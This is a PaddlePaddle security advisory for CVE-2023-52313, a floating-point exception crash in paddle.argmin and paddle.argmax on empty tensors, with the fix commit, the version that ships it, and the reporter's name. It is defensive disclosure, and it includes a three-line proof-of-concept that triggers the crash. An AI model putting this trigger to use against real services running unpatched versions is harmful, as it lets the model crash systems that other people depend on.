## PDSA-2023-022: FPE in paddle.argmin and paddle.argmax

### CVE Number

CVE-2023-52313

### Impact

FPE in `paddle.argmin` and `paddle.argmax` when input `x.numel()` is 0. The PoC is as follows:

```python
import paddle

data = paddle.to_tensor([], dtype="int32")

paddle.argmax(data, axis=0)
```

### Patches

We have patched the issue in commit [41eda9080b12e6f1b3a49cdc8439a1b9f1ed6794](https://github.com/PaddlePaddle/Paddle/pull/59976/commits/41eda9080b12e6f1b3a49cdc8439a1b9f1ed6794).
The fix will be included in PaddlePaddle 2.6.0.

### For more information

Please consult [our security guide](../../SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

### Attribution

This vulnerability has been reported by Peng Zhou (zpbrent) from Shanghai University.